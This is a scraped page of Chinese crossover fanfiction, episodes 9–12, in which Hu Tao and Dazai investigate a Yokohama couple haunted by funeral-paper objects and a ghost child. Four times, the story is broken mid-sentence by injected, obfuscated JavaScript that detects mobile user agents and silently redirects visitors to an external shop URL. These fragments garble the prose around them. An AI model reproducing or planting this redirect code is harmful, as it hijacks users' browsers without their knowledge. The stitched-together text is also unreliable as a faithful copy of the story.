35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257668|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ………… 时至今日,池田萌奈已经完全不记得自己是怎么冲出公寓的。 她只知道等回过神来时,她正光脚站在保安室里,浑身发抖地举着听筒,对电话另一头的武藤一诚大吼,让他赶紧回来。 在那之后,池田萌奈和保安一起回到了公寓内。 保安警惕地查看了一圈屋内,尤其是那个卫生间,却什么也没找到。 至于池田萌奈提到的牙刷,保安也检查了一遍,别说牙膏沫了,牙刷干干净净,就跟新买的一样。 “那个……池田小姐,你确定屋内有陌生人?” 保安一脸狐疑地从卫生间内走出,很想说会不会是这位池田小姐没睡醒,不小心看错了,或者把梦境记成了现实。 然而,他一抬眼,就见到池田萌奈浑身发抖地坐在沙发上,手里抓着一本摊开的记事本,脸色惨白如鬼。 “没错……真的、真的有——” 沙发上,池田萌奈牙齿打颤地开口,半天说不出一句完整的话。 而她的手中,那本摊开的笔记本上正贴着一排手写的便利贴。 前面九张都整整齐齐地贴成一排,唯独最后一张皱巴巴的,歪歪扭扭地跟在最后,就像什么人急匆匆地撕下来,黏上去的一样。 池田萌奈记得很清楚,这张便利贴是属于布丁的那张。 她总共买了十盒布丁,在一诚出差前,冰箱里还剩下最后一盒。 她没有吃,一诚也不在家。 那吃掉最后一盒布丁,又在记事本里黏上便利贴的,是谁? 答案很明显了—— 【这间公寓里,除了她和未婚夫之外,还‘住’着第三个人。】 …… ………… “我受不了了!警察先生,我受不了了!” 横滨警署内 报案的池田萌奈‘啪’地一下,双手用力拍在桌上,她用力喘气,声音急促地说道, “不管是什么搜查证,什么许可证,我都可以配合!” “对了,这是我提到的那本记事本,还有公寓的钥匙,我都带来了!” 池田萌奈一边说着,将手提包倒了过来,把‘证据’一股脑地推到警员面前, “请你们立刻搜查我的公寓,就算把地板全撬过来,墙壁全砸碎也无所谓!请帮我揪出那个恶心的人!” 哦,恶心。 这个词就像某种提示,站在胡桃身边的太宰治垂下眼,扫了一圈桌上摊开的记事本,神情有点耐人寻味。 一般担惊受怕的受害者,会用‘恶心’来形容犯人吗? 恶心…… 这语气听上去,可不像是害怕,反倒是愤怒更多一点啊。 “那、那个,池田小姐,入室搜查不是这么简单的……” 无辜的警务员一头热汗,努力解释其中的缘由, “先不说我们警方没这项呃……业务。更何况搜查公寓,您一个人说得不算,还得、对!还需要征求您未婚夫的同意——” “什么搜查?这和搜查有什么关系?不准搜!” 与此同时,另一边 似乎是被警方哪一句戳中,始终沉默的武藤一诚突然抬起头。 他的瞳孔因为惊惶而紧缩,神经质般大吼道, “什么第三人……那根本就是诅咒!是鬼!” “找警察有什么用,我们这是被恶灵诅咒了啊!就是北边港口的女鬼!” 在场的警方:“……” 满头热汗的警务员:“……” 艹!他们以为主动找警察搜查公寓已经够离谱了,敢情还有高手! 武藤先生,没想到你看着萎靡不振,脑子欠佳,原来你是真的脑子欠佳啊! 被两方夹攻的警务员手忙脚乱,目瞪口呆。 偏偏这时候,某位堂主小姐似乎还嫌场面不够混乱,她干脆抛开了咨询市民的伪装,饶有兴致地加入讨论。 “哦?这倒是第一次听说。” 胡桃转过头,冲着表情惊恐的男人粲然一笑,语气要多亲切就有多亲切, “说说看,大叔,是什么样的怨灵诅咒?指不定,本堂主可以帮你解决哦!” 心力交瘁的警务员:“……” 胡堂主,你不要也来捣乱啊! 9. Episode 9 明明是他先来的! 横滨警局内,负责笔录的警务员都快哭出来了。他瞅着眼前这一个两个仿佛有什么大病的市民,只恨自己今天没睡死在床上,直接翘班! “……帮我解决?” 胡桃的这一句话,成功吸引了武藤一诚的注意。 男人转过头,怀疑的目光落在胡桃的脸上,眼神警惕,“你懂什么?你又是谁?” 欸呀,这话说来可巧了。 胡桃弯起眼睛,刚准备开口介绍业务,一旁的菜鸟刑警中村立即回神。他赶紧清了清嗓子,打断了堂主小姐试图在警局发展VIP客户的神奇操作。 “咳!没什么,中村先生不用在意,这位其实是我们警局合作的葬仪……” 可惜,他话还没说完,就听见某个堂主小姐欢快地接道, “没错,就是葬礼!” “大叔,不快点解决的话,你的婚礼很快会变成葬礼哦!嗯嗯,虽然往生堂这个月的单子已经达标,但再多一个,我也不反对。 “……胡桃小姐!” 阻止失败的菜鸟刑警听得头皮一炸,这次轮到他快要哭出来了。 快住口啊!胡桃小姐! 他这个月的投诉单也满额了,不想再多一个啊! “你、你胡说什么!”武藤一诚闻言瞳孔骤然紧缩。 他想要大声呵斥,但本能的反应先一步暴露了他心中的恐慌。 “嗯?做什么这副反应?我以为大叔你应该早察觉到了才对。” 胡桃一歪脑袋,有点意外地说道。 她先是仔细观察了一眼男人的五官,随后,胡桃站起身,又在武藤一诚的周围绕了一圈。 少女边走还边摇头,颇有一种主治医生对着你的体检报告叹气的即视感。 ——下一秒就要见你的家属,顺便通知你回家吃点好的。 “大叔,你面色发黄,眼下发青,印堂发黑,最近是不是整晚噩梦难以入睡,找医生也诊断不出问题?” “哦,是不是还时常感觉呼吸困难,就像是——” 胡桃说到这忽然停顿一秒。 她盯着武藤一诚,漂亮的梅花红瞳微微眯起。 分明还是与往常无异的俏皮语气,但少女骤然放轻的语调里,却莫名透出几分说不清的意味深长, “就像是……被人凭空丢进了海里,无法呼吸?” “!!” 武藤一诚的脸色骤变。 如果说胡桃的前面几句,还能看作是神棍察言观色的小伎俩,那么这最后的‘溺水感’,则一下正中男人的靶心。 至少武藤一诚很肯定,唯独这一点,他没有对任何人说过。 包括他的未婚妻在内。 “那、那个,胡桃小姐……” 眼见场面逐渐诡异,好端端的警局就要变成不科学的除灵现场,菜鸟刑警中村不得不再次开口阻止。 但出人意料的是,这次拦住中村刑警的,竟然是太宰治。 “好了,警察先生。” 太宰治微笑地伸出手,手掌在对方的肩膀处随意地拍了拍, “先听听武藤先生怎么说如何?放心吧,胡堂主有分寸的。” 中村表情不爽:“……” 所以这家伙到底是谁啊!一副专业调查员的口吻,还和胡桃小姐很熟的样子,明明是他先来的! 菜鸟刑警先生一肚子不满。 但事已至此,也轮不到他反对。 因为就在太宰治出言干预的时候,报案人已经一五一十的、把所谓的‘恶灵诅咒’交代了个彻底。 “事情发生在一周前,我从博多出差回来。” 彼时,在接到未婚妻歇斯底里的电话后,武藤一诚立即向公司说明了情况,以最快的速度赶回横滨。 下飞机后,他还加了不少小费,勉强说服出租车司机抄近路,走北边港口的高速,才终于抢在凌晨以前回到公寓。 而问题,就出在这里。 关于北边的港口,几乎所有人都知道,那里‘闹鬼’。 一开始是几个闲极无聊,半夜跑去探险的学生,他们在SNS上声称在港口撞见了浑身是血的水鬼,到处徘徊找‘替身’。 之后是常年跑夜班的出租车司机。 不止一人在经过北边港口时,遇到了奇怪的‘鬼打墙’。明明是打算前往其他地方,等回过神来时,车子却自己停在了港口的位置。 最惊悚的一次,是一个出租车司机的遭遇。 某天深夜,他在经过一所中学时,意外接到了一个女学生。 当时分明是秋季最冷的时候,女孩却穿着夏天的校服,浑身湿透地站在街头。 起初,司机没有多想,只以为是女孩出了一点小意外。 他在瞥了一眼后视镜之后,就避嫌地移开视线,不敢多看。然后,司机听到了女孩报出的目的地—— 【北边港口】 在那之后,连司机自己都不知道时间过了多久。 他只记得等自己清醒时,他正趴在方向盘上,车子已经停在了港口。 至于后车座的女孩……人早已消失不见,唯独对方坐过的位置,留着一滩湿润的水渍。 以及,印在后车座与驾驶位之间的阻挡板上,一枚血淋淋的手印。 …… ………… 在那之后,还有不少类似的传言。 比如死不瞑目的幽灵船长、怨灵所化的娃娃鱼…… 先不论以上这些事迹,哪些是真实的,哪些是胡编乱造的怪谈。至少在经过几番传言后,当地人都默契地避开了北边港口。 尤其是跑夜班的出租车,很少在太阳落山后再靠近那一带。 然后,就轮到了武藤一诚倒大霉。 “自从北边港口回来后,我就一直觉得身体不舒服。先是莫名其妙发高烧,然后又突然过敏,身上长出奇怪的青斑。” 当然,如果只是以上这些,武藤一诚最多只以为自己运气不好,生病而已。 直到几天后,他开始不断遇到怪事。 “什么样的怪事?”胡桃问道。 “是、是我和萌奈准备的婚礼。” 武藤一城哆嗦地嘴唇,好半天才挤出一句话,“我们准备的喜糖,不知道被谁换成了纸扎的糖果。” “……” “……” 哈?什么糖? 现场严阵以待的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257669|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两位警员一愣,当即露出了‘你逗我们玩儿呢’的表情。 纸扎的喜糖?这算哪门子的怪事? “那不是普通的纸!” 或许是被警员看傻子的眼神刺激到,武藤一诚顿时激动地抬高嗓音, “我事后做过调查,发现那些扎成糖的纸都是白色的,圆形,中间带着方形的孔……” “我托人问过,那根本不是普通的白纸,它们是冥币!” “冥币!冥币你们懂吗?就是送死人上路的钱!” 冥…… 两个警员哑然。 唯独胡桃微微收敛起脸上的神情,冷静地继续问道,“然后呢?你还遇到了什么?” 武藤一诚缺氧般大口喘着粗气,刚才的吼声似乎一下耗尽了他的氧气。 直到几次深呼吸后,他才颓唐地坐回椅子内,继续说道, “然后、然后就是越来越多的冥币。” 邀请函、鲜花、甚至是池田萌奈的礼服和珠宝……任何与婚礼有关的东西,都在一夜之间变成了冥币扎的物品。 在这期间,武藤一诚也尝试过在家里安装监控摄像头,但均一无所获。 事情发展到后面,某天武藤一诚醒来,惊骇地发现,有一对纸扎的小人明晃晃地出现在他的床头! 这些‘人形纸扎’是孩童的外形。 女童扎着丸子头,男童戴着毡帽,脸上全都涂着圆圆的腮红,笑容诡异地俯视自己。 之后,武藤一诚同样也去调查过,这些人形纸扎叫‘金童玉女’,和那些冥币一样,也是葬礼上送死人上路用的! 武藤一诚惊恐万分,在极度的恐惧与愤怒下,他直接将床头的两个‘金童玉女’撕了个粉碎。 “有人……我都告诉你了!这公寓里有人!” 面对这样的异常,池田萌奈坚持认为,这些都是公寓里藏有第三个人的证据。 所有反常,全都是对方搞的鬼。 但武藤一诚不这么想。 因为就在‘人形纸扎’出现的第二天,武藤一诚开始频繁做噩梦。 梦中,他像往常一样睁眼躺在床上准备入睡,然后一翻身,意外瞥见有一个黑色的影子黏在卧室天花板的角落。 黑黢黢的一团,像是污渍,又像是影子。 就在武藤一诚感到疑惑时,这抹‘影子’似乎也发现了他的存在。 在那之后,武藤一城每天晚上都会做相同的梦。 在梦中,他惊恐地发现,随着每一次入梦,这个‘影子’都会离自己更近一点。 从天花板到墙角,从墙壁到床沿。 一天又一天。 直到最后一晚,武藤一诚终于看清了那团‘黑影’的真面目。 那是一个四岁左右的男童。 他浑身焦黑,脖子上挂着一个损坏的长命锁,仿佛经历了极为可怕的大火一般,五官扭曲,让人分辨不清哪儿是骨头,哪里是肉。 唯独他的眼睛。 梦中,这个烧焦的鬼童就这样安静地站在他的床头,两手扒着床沿,睁着一双只剩下眼白的眼眶,直勾勾地盯着自己。 他说—— 【你看到我了。】 10. Episode 10 男女授受不亲 在那之后,武藤一诚再也不敢闭眼。 随着时间不断累加,身体缺乏睡眠的后遗症终于找上了门来。 头痛、暴躁易怒、精神恍惚…… 事实上,第三个症状才是最可怕、也是最煎熬的。 因为,武藤一诚不止一次精神恍惚,看到浑身漆黑的鬼童在现实中出现,一动不动地蹲在角落注视着他。 …… ………… “这是诅咒!除了女鬼诅咒,不可能有其他的解释了!” 警局内,武藤一诚脸色惨白。 他激动地往前探过身体,想去抓胡桃的手, “喂,你说过可以帮我解决吧?那就快一点!我不管你用什么办法,付出什么代价,只要能帮我……” “好啊,那就交给我吧。” 胡桃轻松避开男人的手指,爽快点头。 她欣然应允的态度直接让周围人一怔,半天没反应过来。 有趣的是,连作为客户的武藤一诚,竟然也是一副意外的表情,像是没想到胡桃会这么快同意。 “哦?大叔,你看上去好像不太开心啊。” 胡桃可爱地一歪脑袋,语气不解, “不是你说的嘛,这是超~严重的恶灵诅咒。哦,如果是怀疑我的能力,不用担心,找我你是找对人了。” 胡桃微笑起来,一脸灿烂地说道, “擂钵街往生堂,听说过吗?没听说过也没关系,你去商业街打听一圈就知道了,咱们正好是这方面的专家。” “放心放心,往生堂向来童叟无欺,不灵不要钱。” 不愧是口齿伶俐的胡堂主。 一连串合情合理的发言,把武藤一诚听得一愣一愣,什么话都被她说尽了,硬是让男人找不到拒绝的借口。 毕竟—— 假设情况真如他所言般凶险,那么死马当活马医,什么手段都试上一试,才是正常人该有的反应,不是么? 武藤一诚:“……” 武藤一诚张了张口,明明他才该是掌握主导权的那一个,却半天挤不出一句反对。 “嗯,很好。” 成功谈下一桩生意,胡桃双臂环胸,满意点头,顺势提出要求, “另外,要解除诅咒需要一个合适的场地,还要提前做一点准备。这样吧,你晚上就在公寓呆着别动,警局这边也有你的联系方式,我会通知你的。” “……哦、哦。”武藤一诚讷讷点头。 幸运来得太突然,他甚至不知道该摆出什么表情,只能心不在焉地配合,以至于在起身离开时,男人突然被身下的椅子一绊。 “小心。” 眼见客户即将狼狈地摔个大马趴,站在一旁的太宰治及时伸出手,在对方的手肘处轻轻一托,成功帮人稳住了重心。 “……多、多谢。”武藤一诚心有余悸地站稳。 “不用客气。” 太宰治微笑地收回手,鸢色的眼瞳在灯光下泛着温暖的光泽,完全就是一副‘助人为乐,十佳好市民’的模样。 与此同时,另一边 主张公寓内有第三人的池田萌奈,也得到了满意的回复。 警方承诺接手案件,第二天会派人上门调查具体情况。 于是十分钟后,往生堂接到了订单,这对未婚夫妻得到了帮助,大家都有光明的未来。 只有两位警察先生,全程一脸懵逼。 “那个……胡桃小姐。” 菜鸟刑警中村欲言又止,最后实在没忍住开口问道,“这世上,真的有怨灵诅咒吗?” “嗯?怎么可能。” 听到这话,胡桃居然表现得比对方还惊讶。 只见某个前一秒还信誓旦旦,要帮客户解决诅咒的堂主小姐,这一秒理直气壮地改口,生动演绎了什么叫做‘咱们往生堂,有一套灵活的业务判定标准’。 “我只是顺着那个大叔的话往下讲而已。” 胡桃眨巴眼睛,表情要多无辜就有多可爱, “这世上哪有那么多怨鬼诅咒,都是人心险恶。中村先生,作为警察,你要相信真相,相信科学。” 中村:“……” 哇,她说得好有道理!一时竟然不知道该从哪里开始吐槽。 “那么,胡堂主,接下来你打算怎么驱邪?” 太宰治随手拿起委托人遗留在桌上的‘证物’,往后翻了翻,慢悠悠地提醒, “距离天黑,只剩下不到两小时了哦。” “嘿嘿,这个简单。” 胡桃骄傲叉腰,忽悠客户的计划张口就来,“为这种情绪失控的人,我见得太多啦。这个时候,咱们就要借助科学的力量!” “比如化学磷火、镜面漫射、曼德拉效应……只要场地布置得好,拿出让客户信服的东西就行。等到‘鬼怪’被消灭了,他们自然药到病除。” ……所以绕了一圈,这不还是在装神弄鬼吗! 胡桃小姐,不要光明正大地在警局里介绍自己的诈骗计划啊!不对,刚刚胡桃小姐是不是提过,‘不灵不要钱’? 所以严格来说,这算不上是诈骗,最多是哄小孩、呃,哄哄以为自己被恶灵诅咒的傻子。 诈骗诈骗,有诈才算骗。 往生堂自掏腰包免费哄‘小孩’,怎么能说是诈骗呢? 一时间,菜鸟中村大受震撼。 “哦对了,差点忘了正事。” 胡桃看向满脸震惊的菜鸟刑警,“中村先生,请问最近一个月有来销户的市民吗?死者是男性,名字叫织田作之助。” “欸?织田吗?” 涉及到警署内的事务,中村倒是很快回过神。 桌边,太宰治翻阅证物的动作一顿,跟着抬眼望来。 他的神情平和,又透着一丝恰到好处的好奇。 按理来说,市民死亡销户属于户籍科的业务范畴,虽算不上什么秘密,但也没有一问就答的道理。 不过,正如刑警中村向报案人介绍时提及的—— 往生堂是横滨警局的合作葬仪组织。 在这点上,中村确实没有说谎。考虑到这一层的关系,他自然也没必要对胡桃三缄其口。 “销户的话……” 中村回想了一下资料,“虽然具体还需要和户籍科确认,但我这边,倒是没听说有市民死亡的消息。” 最近横滨挺和平的,算是难得的风调雨顺,安居乐业。 “这样啊。” 胡桃眨了眨眼睛,脸上闪过一抹沉思,但很快隐去。除了始终留心注视的太宰治外,没人发现这一点。 “啊,还有一件事。” 胡桃的指尖搭在下巴轻轻一点,再次开口。 而这一次,她成功让某个‘失忆分子’心中一凛,表面不动神色,实则内心如临大敌,连后背都悄咪咪地挺直了一点。 俨然做好了堂主小姐,执行‘寻人启事’的准备。 太宰治:暗中警惕.jpg 然而下一秒,他听到的却是—— “中村,可以把你师父的私人联系方式给我吗?我有些感兴趣的事想了解一下。” 太宰治:“??” 中村:“?!!” 什——!!这这、这莫非就是传说中的爱神降临,丘比特听到了他内心的呼唤?! “没问题!”某个听岔的菜鸟激动得抬高音量。 中村当场稍息立正,就差拿出当年在警校对樱花宣誓的庄严口吻, “胡桃小姐想先从哪里开始了解?这是我的手机号,这是我的警号编码,登录系统就能知道我全部体检报告和生理指标!这是我的工资卡——”(①) “欸?等等,你等一下!” 胡桃被吓得眼睛都瞪圆了,赶紧阻止对方自说自话,突然自爆个人隐私的行为。 顺便,她脚下悄咪咪往旁边挪了一步,往太宰治的方向靠了靠。 俗话说得好,堂主的一小步,太宰成为挡箭牌的一大步! 力求中村太过激动扑上来的时候,她能第一时间蹲下避开,让菜鸟警察精准地扑到某个前黑手党干部的身上! “……胡堂主。” 太宰治微笑地转过头,一切指责近在不言中。 “咳,俗话说得好,男女授受不亲。” 堂主小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257670|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小声开口,表情正义凛然,“都是男人,约翰,你牺牲一下。” 说完这句后,胡桃飞快恢复音量,对中村着重强调, “你听错了,中村先生,本堂主说的是‘你·师·父·’的联系方式,我对你没什么兴趣,只是想了解一下关于店主大叔案件的一些细节。” 中村:“……” 中村:“………………” “啊、原,原来是这样吗?真是不好意思,是我不小心听漏了,我这就帮你联系师傅,问问他的意愿哈哈哈哈呜呜呜哈哈哈哈!” 菜鸟刑警边说边往后退,最后干脆借着打电话,猛地一把捂住脸呜呜呜跑远了。 那喜悦(?)的背影,真是闻者伤心见者流泪。 连某个一向不做人的前干部先生,都发出了敬佩的感慨—— 把哭声藏在笑声里,真不愧是受过专业训练的警察呢。 **** 数分钟后 胡桃和太宰治成功拿到了那位老刑警的家庭住址,准备离开横滨警署。 在他们背后,还跟着一个坚强的刑警先生。 按理说,发生了那么大一个乌龙,以这位菜鸟警察的脸皮,应该恨不得掘地三尺,躲在被窝里发出尖锐爆鸣才对。 但—— 不行,他还有一个很重要的疑点需要弄明白! 告别时,某位菜鸟先生几乎拿出了一辈子的勇气。他硬绷着红透的脸皮,凑到胡桃跟前,提出私下对话。 特地拉开数米的距离,虽然太宰治听不到声音,却能依稀分辨出两人口型。 “那个,胡桃小姐,请、请问,你身边的那个小哥是你的朋友吗?”中村紧张地问道。 “嗯?” 胡桃有点意外,没想到中村煞有介事地把她拉到一边,就是为了问这个。 话又说回来,这是什么需要背着约翰,私下了解的重要话题吗? 胡桃不理解,不过既然对方开口问了,作为帮忙联系情报的礼尚往来—— “唔,友人自是远远谈不上,硬要说的话……” 黑发少女思索片刻,随后,她露出一个笑容,神秘地说道, “约翰,他算是往生堂的客户吧。” 一个麻烦又不太寻常的客户。 “原来是这样啊,哈哈哈,那就好那就好。” 什么啊,原来只是客户啊,那他就放心了。 很好!他还有机会! 得到答案的中村瞬间松了一口气,满脸笑容地和往生堂告别,笑得那叫一个春风拂面百花开。 警局门口 太宰治没有理会暗搓搓对自己示威,笑得志得意满的男人,他鸢色的眸光落在胡桃的脸上,看着黑发少女朝自己走来。 随后,两人默契地并肩而行。 一路上,胡桃打开横滨地图,目光在铁路线和北边港口间来回移动,像是在计算什么。 太宰治没有说话,他安静地双手抄兜,跟在旁边。 此刻正值黄昏尾声,微弱的夕阳透过云层照下,在横滨的街道上染上最后一抹黯淡的柔光。 两个年轻的少年人依旧没有说话。 直到身后的横滨警署彻底看不见了,太宰治才张开口,打破了彼此的沉默。 “胡堂主,你刚刚说谎了吧。” 太宰治望着天边的茜色云层,清朗的嗓音染着暮色,平静地穿过街道往来的人群,在胡桃的耳边响起, “那对未婚夫妻,池田萌奈和武藤一诚确实遇上了幽灵,对吗?” “哦?” 面对这猝不及防的提问,胡桃头也不抬地看着地图,语气平稳自然,表现得滴水不漏, “约翰,你也相信鬼神之说吗?” “不是相信。” 太宰治收回看向远方的视线,以一种极其平静、阐述事实般的语气纠正道, “而是看见了。” “胡堂主,在我的友人死后,我曾一遍又一遍亲眼目睹他的亡魂,就用这双眼睛。” “——” 胡桃翻阅地图的动作一顿。 这一次,她终于抬起头,看向了太宰治。 11. Episode 11 我的友人死后 「在我的友人死后,我曾亲眼目睹他的亡魂,在眼前一遍一遍跑过。」 这句话不是谎言。 对太宰治来说,它大概是比屡次计划自杀,最后都以失败告终的现实更令人无奈、难以接受,称得上是一句地狱笑话了。 现象就发生在那个败落的洋房舞厅里。 Mimic事件后,作为不被允许公开的‘外来武装冲突’,在确认两方人员尽数死亡后,异能特务科迅速出手善后,将洋房里的士兵尸体处理得一干二净。 残留在地毯里、墙缝中的子弹也一并挖出收走,只剩下一个空旷破败的舞厅。 如果不是房间内,那些深红窗帘上的子弹划痕还在,恐怕就再没有任何证据,能够证明此地发生过什么。 这本该是结束。 然而,在某一次故地重游时,太宰治突然听到了熟悉的枪声。 它们从杂乱的灌木丛外传来。‘呯呯’的枪响此起彼伏,就像有两人在对战,惊险的动静一直从远处的红色洋房延伸而来。 “这是……” 怎么可能?! 彼时,太宰治惊愕地睁大眼睛,他想也不想地转身,朝着枪声的方向冲去。 穿过茂密丛生的栎树,在充满石子的小路右转。一路奔向洋房深处的走廊,然后在一个宽敞的、被炸.弹炸毁的庭院尽头—— “——!” 陈旧的法式大门被用力推开。 门口的太宰治顾不上喘气,他第一时间看向了舞厅的地板中央,红发青年曾经横尸的位置。 ……空的。 没有人。 太宰治定定地盯着地板看了一会儿。 下一刻,他像是想到什么,猛地抬起头扫视四周,包括超过三层高的天花板、楼梯口,以及高高吊起的、腐朽倾斜的吊灯。 任何能布置机关的地方,任何能藏匿人的位置。 但在检查一圈后,太宰治依旧什么也没找到。 就在他一无所获时—— “哒,哒哒。” 一阵脚步声从身后传来。 “……” 太宰治的呼吸一窒。 他骤然回过头,下一秒,一个令人怀念的红发身影就这样毫无预兆地出现,赫然撞进他的视野中! “织田作……!”太宰治瞳孔骤缩。 他本能地上前,想去抓友人的肩膀,然而这抹身影就像是另一个空间的影响,全程目不斜视,自顾自地与少年擦肩而过,平静地执枪踏入战场。 夕阳从窗户斜照而入,光线毫无阻碍地穿过红发青年的身影,在地上映照出一层残血般的红光。 也正是这个时候,太宰治终于看清了‘织田作之助’半透明的背影。 那的的确确,只是一段「影像」。 这段「影像」听不到声音,也无法被第二人干扰。 就像有一□□自运作的录影机,重复播放着红发青年从枪战到死亡的过程。 此后一遍又一遍。 直到窗外的夕阳消逝,房间内的一切重新归于沉寂,静得仿佛什么也没发生过。 …… ………… 【是异能力的小把戏?还是特异点的后续影响?】 彼时,一片昏暗的洋房舞厅内,太宰治独自站在黑暗中沉默良久。 没人知道他思考了什么,又或者,他此刻是怎样的心情。 唯独在这天后,太宰治每天都会定时出现在这个房间内。 他冷静地坐在屋内的角落,观察一样,注视着「残像」定时显现,又随着夕阳落幕彻底消散。 不是异能力,也不是特异点的‘后遗症’。 排除全部答案后,就只剩下一种可能—— 一个荒谬的、怪诞的,只存在于都市怪谈里的答案。 “……幽灵,吗?” 少年清朗的嗓音在无人的房间内回荡,语调冷静而冰冷,如同陈述一个再寻常不过的事实。 【放着不管的话,会诞生恶灵吗?】 关于这个问题的结果,太宰治无从知晓。 但或许有一个组织,能告诉他答案。 ——「往生堂」 …… ………… 然后现在,往生堂的堂主就站在他的面前。 “胡堂主,如果我告诉你,我曾亲眼见过呢?亲眼见到死去的友人,在我的眼前一遍又一遍跑过,你相信吗?” 横滨商业街 人来人往的街道上,胡桃与太宰治安静地对视。 此刻,天边的夕阳已经只剩下少少的一线,黯淡地沉淀在地平线的一角。 即将到来的夜幕中,夏季的热气还在街道蒸腾。两人彼此对视着,某一瞬间,周遭喧闹的人群仿佛都远去,只剩下一声声蝉鸣,在他们的耳边不断放大。 一段无言的静默对峙后,胡桃终于微微启唇张口。 如果此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257671|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,那些足够了解‘胡堂主’的故人还在的话,他们一定知道胡桃会说什么—— “嘿嘿,什么幽灵啊鬼的。” “人们都害怕生离死别,怕痛苦和遗憾,于是为了弥补心中的创伤,擅自为死亡想象了无数种形态。比如幽灵啦,厉鬼啦。” “嗨,说到底,其实都是一些无凭无据的事儿。” 他们往生堂的胡堂主,一定会这样告诉所有好奇的人。 毕竟,在胡桃看来,有些不必知道的事情,看不到的人还是不知道为好。 对他们道出真相固然简单,但谁也无法保证在知道真相后,事态不会变得更糟。 这一点,从胡桃眼都不眨地忽悠横滨警察,就能窥见一二。 观察许久的太宰治同样清楚这一点。 因此,他也做好了准备。 不管这位胡堂主如何回答,他总是有办法逼问出一点东西的。 从她与那对未婚夫妻,武藤一诚的对话情报里下手,拆穿一些非当事人不可能知道的细节;又或者,翻出往生堂过往的情报。 那些曾经同样被胡桃‘驱邪’,又被告知‘上当’的客户,又或者是…… 电光石火间,太宰治的脑中已经流转出不下百种方案。 然后,他听到的却是—— “他有伤害你吗?” “……?” 什么? 少女超出预想的回应,让太宰治脑中的思绪一卡。 胡桃没有回答相信,也没有搬出误导横滨警局的那一套说辞,而是在注视了太宰治许久后,问出了另一个毫无关联的问题—— “约翰,你看到的那个‘灵’,他有伤害你吗?” 这一刻,太宰治鸢色的瞳眸睁大,一向引以为豪的大脑难得出现片刻空白。 隐约的失控感让他错过了最佳的‘反击时机’,但胡桃已经从太宰治的反应中得到了真实的答案。 作为回报—— 胡堂主向来不说谎。 对于能看到的、被牵扯其中的人,她总是愿意更坦诚耐心一点。 “约翰,我之前说过了,这世上没有那么多恶灵诅咒,有的只是人心险恶。一般的幽灵也没有能力伤害普通人,那些能被看到的家伙,已经算得上相当凶恶了。” “当然,如果是你这样的情况,那就是另一种可能。” 一个和武藤一诚、池田萌奈他们的情况无限接近,又不甚相同的缘由。 12.Episode 12 太宰与狗 「和那对未婚夫妻,相似又不相同的情况。」 在得到这一句后,太宰治竟然没有再追问。 他像是心满意足一样点了点头,甚至还有心情观赏路过的鲜花店铺。 俗话说得好,太宰静悄悄,必定藏后招。 不过,胡桃暂时没空理会这点小变化,因为—— 那位退休老刑警的家,到了。 作为经历过横滨整个黑暗年代的警察,这位草薙胜平警官的退休待遇,绝对算是优中选优的那一档。 在商业街的外围拥有一栋带小院子的独立房屋,院子内种满了各种花草,靠近门廊玄关的位置,放置着一个手工木制的狗窝。 可见这位老刑警的退休生活,过得是相当舒心平静。 只除了一点。 某个上门拜访的前干部先生,大概没那么开心。 因为—— “汪!汪汪!” 太宰治的身影才刚靠近庭院,还不等胡桃摁响门铃,就见一个将近半人高的漆黑影子,‘咻’地从花草深处窜出来,隔着庭院的护栏冲太宰治狂吠。 大黑狗伏低身体,可怕的红牙床外露,俨然一副警告驱逐的模样。 日常被狗狗讨厌的太宰治:“……” 很好,这是挑衅。 前黑手党先生目光严肃。 他居高临下地俯视大黑狗,一看就知道,又在琢磨什么亲痛仇快的缺德主意。 可惜,在他把想法付诸实践以前,旁边的胡桃已经先一步蹲下.身。 面对可怕的黑犬,少女没有丝毫惧意,就这么毫无防备地伸出手,隔着护栏的缝隙,掌心一把按住了大黑狗的脑袋。 说好了一辈子都要威风凛凛的黑狗大爷:“……汪?!!” 发生了什么?为什么它狗大爷就这么被按住了脑袋?? 这个人类怎么回事?!! 